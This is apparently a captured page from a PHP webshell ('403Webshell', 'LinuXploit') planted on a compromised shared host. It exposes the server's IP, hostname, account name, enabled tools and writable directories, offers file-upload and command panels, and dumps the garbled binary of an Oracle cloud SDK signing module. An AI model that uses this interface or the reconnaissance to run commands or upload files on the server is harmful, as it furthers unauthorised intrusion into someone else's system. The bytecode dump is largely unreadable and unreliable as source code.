403Webshell
Server IP : 162.144.4.212  /  Your IP : 216.73.216.108
Web Server : Apache
System : Linux gator2125.hostgator.com 5.14.0-162.23.1.9991722448259.nf.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 31 18:11:45 UTC 2024 x86_64
User : cozeellc ( 2980)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /usr/libexec/oracle-cloud-agent/plugins/osms/oci/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /usr/libexec/oracle-cloud-agent/plugins/osms/oci/signer.pyc
a

M��f�-�@sddlmZddlZddlZddlZddlZddlZddlZddl	m
Z
ddlmZm
Z
mZmZddlmZmZddlmZmZddlmZdd	lmZdd
lmZddlZe�e�ZdZ ddd
�Z!dd�Z"dd�Z#Gdd�dej$j%�Z&Gdd�dej'j(�Z)Gdd�de)�Z*dS)�)�absolute_importN)�six)�record_body_position_for_rewind�rewind_body�,back_up_body_calculate_stream_content_length�read_stream_for_signing�)�httpsig_cffi�requests)�InvalidPrivateKey�MissingPrivateKeyPassphrase)�UnsupportedAlgorithm)�default_backend)�
serialization�1cCsPtj�|�}tj|dd��}|����}Wd�n1s<0Yt||�S)N�rb)�mode)�os�path�
expanduser�io�open�read�strip�load_private_key)�filename�pass_phrase�f�private_key_data�r�n/sparta/input/_build_configuration/image_build+validate/lib/bmcenv/lib64/python3.9/site-packages/oci/signer.py�load_private_key_from_files*r!c
Cs�t|tj�r|�d�}t|tj�r,|�d�}t�}ztj|||d�WSty||durdtd��ntj|d|d�YSYn`t	y�tj
tjtjfD]4}z|||d�Wnt	t
fy�Yq�0td��q�td��Yn0dS)z�Loads a private key that may use a pass_phrase.

    Tries to correct or diagnose common errors:

    - provided pass_phrase but didn't need one
    - provided a public key
    �ascii)�backendNz'The provided key requires a passphrase.zEAuthentication requires a private key, but a public key was provided.zOThe provided key is not a private key, or the provided passphrase is incorrect.)�
isinstancer�	text_type�encoderr�load_pem_private_key�	TypeErrorr�
ValueError�load_der_public_key�load_pem_public_key�load_ssh_public_keyr
r)�secretrr#�loaderrrr r$s,


�
rcCs�|j�dtjjdd��|j�dtjjj�	|j
�j�t|j
d�sNt|j
d�r\|j�dd�|j�dd	�|�r�d
|jv�r�|�r�|j
p�d}t��}t|tj�r�|�d�}|j�d
tt|���|�|�n�t|ttf�r�|�|�n�t|d�s�t|d��r�t|�\}}|�rVt||�}|dk�r*td��|j�d
t|��t||�}|�s�td��nFt�d�t|�}	|	�d�|_
|�|	�d��|j�d
t|	�d���|�r�t �!|�"��}
|
�#d�}||jd
<dS)N�dateT)�usegmt�host�bufferr�content-typezapplication/octet-streamzapplication/json�x-content-sha256�zutf-8�content-length���znUnable to read stream for signing! Please sign the stream yourself by using the custom header x-content-sha256z,Unable to rewind request body while signing!z=Stream cannot be rewound, trying to backup and sign the body!�byte_content�content_length)$�headers�
setdefault�email�utils�
formatdater�moves�urllib�parse�urlparse�url�netloc�hasattr�body�hashlib�sha256r$�string_typesr&�str�len�update�bytes�	bytearrayrr�IOErrorr�logger�warningr�get�base64�	b64encode�digest�decode)�request�	sign_body�enforce_content_headersrF�m�is_body_rewindable�original_positionr9�is_rewind_success�stream�base64digest�base64stringrrr �inject_missing_headersYsL��







rac@s eZdZdZdd�Zdd�ZdS)�_PatchedHeaderSignerzTSignature algorithm="rsa-sha256",headers="{}",keyId="{}",signature="%s",version="{}"cCsVd|_d|_d|_tjj|j|_||_|j��|_	||_
|j�d�
|�|t�|_dS)N�rsarH� )�sign_algorithm�hash_algorithm�_hashr	r=�HASHES�_rsahash�_rsa_private�
public_key�_rsa_publicr:�HEADER_SIGNER_TEMPLATE�format�join�SIGNATURE_VERSION�signature_template)�self�key_id�private_keyr:rrr �__init__�sz_PatchedHeaderSigner.__init__cCs6d|_||_|j��|_|j�d�|j�|t�|_	dS)Nrd)
rgrjrkrlrmrnror:rprq)rrrsrtrrr �reset_signer�sz!_PatchedHeaderSigner.reset_signerN)�__name__�
__module__�__qualname__rmrurvrrrr rb�srbc@s<eZdZdd�Zdd�Zd
dd�Zddd	�Zed
d��ZdS)�AbstractBaseSignercCs(t|||d�|_t||||d�|_dS)N)rsrtr:)rb�
_basic_signer�_body_signer)rr�api_keyrt�generic_headers�body_headersrrr �create_signers�s��z!AbstractBaseSigner.create_signerscCs$|j��}|dvr td�|���dS)N)rR�head�delete�put�post�patchz&Don't know how to sign request verb {})�method�lowerr)rn)rrrW�verbrrr �validate_request�s
z#AbstractBaseSigner.validate_requestTcCsz|j��}|dv}|r"|r"|j}n|j}|j�dd�t|||�|j|jtj	j
j�|j
�j|j|jd�}|j�|�|S)N)r�r�r�zTransfer-Encoding)r1r�r)r�r�r|r{r:�popra�signrr?r@rArBrCrD�path_urlrL)rrrWrYr�rX�signer�signed_headersrrr �do_request_sign�s
�z"AbstractBaseSigner.do_request_signcCs|�|�|�||�S)N)r�r�)rrrWrYrrr �__call__�s
zAbstractBaseSigner.__call__cCstj|dd�S)NF)rY)�	functools�partial)rrrrr �without_content_headers�sz*AbstractBaseSigner.without_content_headersN)T)T)	rwrxryr�r�r�r��propertyr�rrrr rz�s

rzc@s&eZdZdZddd�Zedd��ZdS)�Signera�
    A requests auth instance that can be reused across requests. This signer is intended to be used
    when signing requests for a given user and it requires that user's ID, their private key
    and cerificate fingerprint.

    The private key can be sourced from a file (private_key_file_location) or the PEM string can be
    provided directly (private_key_content).

    The headers to be signed by this signer are not customizable.

    You can manually sign calls by creating an instance of the signer, and
    providing it as the ``auth`` argument to Requests functions:

    .. code-block:: python

        import requests
        from oci import Signer

        auth = Signer(...)
        resp = requests.get("https://...", auth=auth)


    Nc	Cs\|d|d||_|r(t||�|_nt||�|_gd�}gd�}|�|j|j||�dS)N�/)r/z(request-target)r1)r6r3r4)r}rrtr!r�)	rr�tenancy�user�fingerprint�private_key_file_locationr�private_key_contentr~rrrr ru�szSigner.__init__c	CsDddlm}||�t|d|d|d|d|�d�|�d�d	�S)
Nr)�validate_configr�r�r��key_filer�key_content)r�rr�)�configr�r�rR)r�r�rrr �from_configs�zSigner.from_config)NN)rwrxry�__doc__ru�staticmethodr�rrrr r��s
r�)N)+�
__future__rrS�email.utilsr<rGrr�r�oci._vendorr�oci.utilrrrr�_vendorr	r
�
exceptionsrr�cryptography.exceptionsr
�cryptography.hazmat.backendsr�cryptography.hazmat.primitivesr�logging�	getLoggerrwrPrpr!rrar��HeaderSignerrb�auth�AuthBaserzr�rrrr �<module>s,

55!1

Youez - 2016 - github.com/yon3zu
LinuXploit